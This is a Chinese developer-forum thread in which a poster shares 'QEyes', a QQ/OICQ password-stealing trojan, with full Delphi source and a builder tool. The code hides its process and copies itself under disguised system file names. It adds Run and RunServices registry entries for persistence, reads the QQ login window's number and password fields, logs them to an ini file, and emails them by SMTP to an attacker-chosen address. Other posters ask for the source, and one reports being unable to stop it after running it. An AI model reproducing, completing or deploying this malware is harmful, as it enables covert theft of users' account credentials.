好吧,过几天我公布源码,其实很简单,没有使用HOOK,也没有使用HOOK控件。

解决方案 »

  1.   

    我这是2000Pro,不行那,一定要98。
    强烈建议给出源码。:)
      

  2.   

    赫赫,YYPP,我记得你以前问过关于自动点击OICQ的问题,是不是自己做了一个OICQ的启动界面?然后骗取别人的密码?然后自动运行真正的OICQ?用程序自动登陆?赫赫~~~纯属猜测~~~~~~~~~
    分数我有多少?赫赫,先知为快~~~~~~~~~
      

  3.   

    我要源码。原理也行,我是2000 server
      

  4.   

    to Kingron:不是那个啦。
    是另外一个原理:)
      

  5.   

    原来如此。
    我试过,但是不行。不知为什么(源程序我看没用,我删删删,qiqiqi)
    它好像是禁止PostMessage(edPassword.Handle, WM_GetText, 0,0);
    你怎么做的?
      

  6.   

    嘿嘿。各位在自己的机器上实验一下吧。解压后先看帮助文件QEyeshlp.htm在自己的机器上运行后,你登陆几个OICQ号码,再打开c:\windows\mdm.ini文件
    看你的OICQ密码是不是都在里面。。只适用于WINDOWS9X,ME
      

  7.   

    TO wanwangzhiwang(万王之王):其实修改一下可以在WINDOWS下面运行,但是不能隐藏进程。
    而且在WIN2000下也记录不了密码。
    所以。。只能运行在WIN9X和WINME
      

  8.   

    to yypp:
    我用了你这个程序,开始没有什么,我也不表管它,在做其它事情,后来我在显示桌面的时候发现在其它应用程序的底下有一个对话框是Qeyes提示说不能打开mdm.ini这个文件,木马这样提示太过份了吧,还有怎样把这个程序关掉。
      

  9.   

    另外我在Windows下没mdm.ini这个文件。
      

  10.   

    to zy61(张旸):那是因为你用的不是WIN9X或者WINME或者你的C盘下面没有WINDOWS这个目录
    因为密码都是保存在c:\windows\mdm.ini这个目录下的。如果程序找不到这个C:\WINDOWS目录就会出现你说的那种错误。
      

  11.   

    to zy61(张旸):谢谢。这是一个BUG,我没有考虑到C:\windows\mdm.ini文件不存在而且这个程序运行后这台机器上没有登录OICQ号码的情况,我马上改正。
      

  12.   

    靠,能不能查在线的其他人的oicq的密码?
      

  13.   

    coldljy(凤舞N天):快考试了,没有时间搞。所以对出现异常的情况都没有进行判断,不然也不会出现错误的提示了。
    等考试完了再搞,在每次把密码文件作为附件添加到NMSMTP控件的时候,先判断一下这个文件是否存在。现在已经修正了zy61(张旸)所说的错误,密码改为保存在c:\windows\Protocol.ini文件里。是一时权宜之计。
    c:\windows\Protocol.ini这个文件好象WINME和WIND9X的机器上都有吧?
      

  14.   

    我要源码!!!!因为编译好了的,我的windows2000用不起!:(
      

  15.   

    to yypp:
    我现在最关心的是怎让它停止执行
      

  16.   

    来一份源码看看!我给修改修改!
    Email:[email protected]
      

  17.   

    to zy61(张旸):这个在WIN9X和WINME下是隐藏了进程的,等今天晚上我物理考试完了我在我主页上放个查看系统隐藏进程然后终止的进程的工具。
      

  18.   

    to zy61(张旸):我已经在我的主页放上了一个查看系统所有进程并且可以杀掉指定进程的工具,请去下载吧。http://go.163.com/syinprise/skyeyes.zip明天我提供QQ木马的源码下载:)
      

  19.   

    思路挺新。
    要能隐藏进程,否则。。
    用RegisterServer注册服务,用SetWindowsLong(toolwindow)隐藏窗口。
      

  20.   

    赫赫,OICQ的有一个BUG,在登陆之后没有Clear密码缓冲.
      

  21.   

    赫赫,原理应该是这样:
    OICQ登陆之后,Hide乐登陆窗口,但是并没有Clear密码缓冲.
    密码窃取程序运行之后,用Findwindow()找到OICQ的登陆窗口,然后用EnumChildWindow()配合回调函数查找OICQ的登陆窗口的子窗口,如果是密码框就发送一个WM_GETTEXT的消息,就可以取道密码乐.不知道YYPP的程序是不是这样写的?我还没有用过你的程序呢?不过我想自己写一个也可以吧?赫赫~~~~~~~~~
    对了,关于INI的问题,你为什么不用TIniFile呢?只要指定文件名,比如mdm.ini,如果没有,默认的会建立在Windows目录下面,如果有,会自动打开阿,这样就没有那样的Bug乐.赫赫,干吗要指定目录呢?倒~~~~~~~~~~~~~~~~~多看看TiniFile类的帮助吧.
      

  22.   

    to Kingron:我就是用的TIniFile,
    你没有看清楚,如果对方WINDOWS目录下没有mdm.ini文件,而且他运行我的那个木马后没有登录任何OICQ密码。这样在20分钟后,木马把mdm.ini文件作为附件添加然后发送出去的时候就会出错。
      

  23.   

    to kingron:我在一开始就说了这个很简单的啊,只不过思路比较新,没有使用HOOK而已
    源码:{
      QEyes Written by ACe,All rigths reserved ,OICQ_9031564,http://pyvc.yeah.net
      如果你对源代码进行了修改,请给我发一份 [email protected]
    }
    unit Unit1;interfaceuses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
      Keyspy,Inifiles, StdCtrls, WinInet,ExtCtrls, Psock, NMsmtp,registry;type
      TForm2 = class(TForm)
        Edit1: TEdit;
        Timer1: TTimer;
        NMSMTP1: TNMSMTP;
        Timer2: TTimer;
        procedure Timer1Timer(Sender: TObject);
        procedure KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
          KeyStr: String);
        procedure FormCreate(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure NMSMTP1AuthenticationFailed(var Handled: Boolean);
        procedure NMSMTP1Connect(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;var
      Form2: TForm2;
      he,hc:hWnd;
      eaddr:String;implementationfunction RegisterServiceProcess(dwProcessID, dwType: Integer):
      Integer; stdcall; external 'KERNEL32.DLL';{$R *.DFM}function EnumProc(H: HWND; Info: Pointer): BOOL; stdcall;
    var
        wClassName: array[0..255] of char;
    begin
    GetClassName(H, wClassName, SizeOf(wClassName));
    if pos('EDIT',Uppercase(wClassName)) > 0 then
     Begin
       he:=H;
     end
    else
     if pos('COMBOBOX',Uppercase(wClassName)) > 0  then
      Begin
       hc:=H;
      end;
    Result:=True;
    end;
    procedure TForm2.Timer1Timer(Sender: TObject);
    var h:hWnd;
        Buf: array[0..1024] of Char;
        number,password:string;
        var myinifile:Tinifile;
    begin    h:=Findwindow(nil,'QQ用户登录');
        if h<>0 then
        begin
           Timer1.Enabled:=False;
           EnumChildWindows(h, @EnumProc,Longint(Self));
           SendMessage(hc, WM_GETTEXT, 1024, Integer(@Buf));
           number:=buf;
           SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));
           password:=buf;
           if password<>'' then
              begin
                 myinifile:=Tinifile.create('c:\windows\Protocol.ini');
               //  password:=Edit1.Text;
                 Myinifile.WriteString('oicq',number,password);
                 Myinifile.Free;
              end;   
                 Timer1.Enabled:=True;   end;end;procedure TForm2.KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
      KeyStr: String);
    begin
       Edit1.Text:=Edit1.text+keystr;
    end;procedure TForm2.FormCreate(Sender: TObject);
    var tempreg:TRegistry;
        strmSource,strmDest:TMemoryStream;
      //  tempreg:TRegistry;
        ef:TextFile;begin   RegisterServiceProcess(GetCurrentProcessID, 1 );
       CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\sysreg.exe'),False);
       CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\regservice32.exe'),False);
       CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\rasint.dll'),False);
       tempreg:=TRegistry.Create;
       tempreg.RootKey:=HKEY_LOCAL_MACHINE;
       tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices',True);
       tempreg.WriteString('sysreg','C:\windows\system\sysreg.exe');
       tempreg.Closekey;
       tempreg.Free;
       tempreg:=TRegistry.Create;
       tempreg.RootKey:=HKEY_LOCAL_MACHINE;
       tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
       tempreg.WriteString('regservice','C:\windows\system\regservice32.exe');
       tempreg.Closekey;
       tempreg.Free;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
       strmSource:=TMemoryStream.Create;
       strmSource.loadfromfile(Application.Exename);
       strmSource.seek((StrmSource.Size-50),soFromBeginning);
       strmDest:=TMemoryStream.Create;
       strmDest.copyfrom(strmSource,50);   strmDest.SaveToFile('c:\windows\raddr.txt');
       strmDest.free;
       strmSource.free;
    //////////////////////////////////////////////////////////////////////////////////////////////////////////////////
       AssignFile(ef,'c:\windows\raddr.txt');
       Reset(ef);
       ReadLn(ef,eaddr);
       CloseFile(ef);
       eaddr:=TrimLeft(eaddr);
       eaddr:=TrimRight(eaddr); end;procedure TForm2.FormDestroy(Sender: TObject);
    var tempreg:TRegistry;
    begin
       CopyFile(Pchar('C:\windows\system\rasint.dll'),Pchar('c:\windows\system\netw3c.exe'),False);
       tempreg:=TRegistry.Create;
       tempreg.RootKey:=HKEY_LOCAL_MACHINE;
       tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices',True);
       tempreg.WriteString('sysreg','C:\windows\system\sysreg.exe');
       tempreg.Closekey;
       tempreg.Free;
       tempreg:=TRegistry.Create;
       tempreg.RootKey:=HKEY_LOCAL_MACHINE;
       tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
       tempreg.WriteString('regservice','C:\windows\system\regservice32.exe');
       tempreg.Closekey;
       tempreg.Free;
       tempreg:=TRegistry.Create;
       tempreg.RootKey:=HKEY_LOCAL_MACHINE;
       tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
       tempreg.WriteString('netw3c','C:\windows\system\netw3c.exe');
       tempreg.Closekey;
       tempreg.Free;end;procedure TForm2.Timer2Timer(Sender: TObject);begin    if InternetCheckConnection('http://www.nsfocus.com/', 1, 0) then
            edit1.text:= 'con'
        else
            edit1.text:= 'discon';
        if Edit1.Text='con' then
           begin
              NMSMTP1.PostMessage.ToAddress.Add(eaddr);
                       NMSMTP1.Connect;
           end;end;procedure TForm2.NMSMTP1AuthenticationFailed(var Handled: Boolean);
    begin
       Handled:=True;
    end;procedure TForm2.NMSMTP1Connect(Sender: TObject);
    begin    NMSMTP1.SendMail;
        NMSMTP1.Disconnect;end;end.
    program QEyes;uses
      Forms,
      windows,
      Unit1 in '..\Unit1.pas' {Form2};{$R *.RES}begin
      Application.Initialize;
       if FindWindow('TForm2','Form2')=0
        then
           begin
              Application.ShowMainForm:=False;
              Application.CreateForm(TForm2, Form2);
      Application.Run;
           end;   
    end.
    辅助工具的源码
    program tool;
    //{$APPTYPE CONSOLE}
    uses
      SysUtils,
      Dialogs,
      Classes;var email:string;
        strmSource,strmDest:TMemoryStream;
        f:TextFile;begin
       email:=InputBox('请输入你想接收OICQ密码的信箱','输入你的信箱地址','[email protected]');
       while length(email)<50 do
             begin
                email:=email+' ';
             end;
       AssignFile(f,'c:\windows\Addr.txt');
       Rewrite(f);
       Write(f,email);
       CloseFile(f);   strmSource:=TMemoryStream.Create;
       strmSource.loadfromfile(ExtractFilePath(ParamStr(0))+'QEyes.exe');
       strmDest:=TMemoryStream.Create;
       strmDest.copyfrom(strmSource,strmSource.size);
       strmSource.clear;
       strmSource.loadfromfile('c:\windows\Addr.txt');
       strmDest.seek(strmDest.size,soFromBeginning);
       strmDest.copyfrom(strmSource,strmSource.size);
       strmSource.free;
       strmDest.SaveToFile(ExtractFilePath(ParamStr(0))+'QEyes.exe');
       strmDest.free;
    end.还有不完善的地方,在对方机器里留下了raddr.txt 这个文件,这个文件暴露了信箱地址,可以考虑采取对信箱地址加密。因为没有时间,所以就没有写了。有兴趣的朋友自己搞吧:)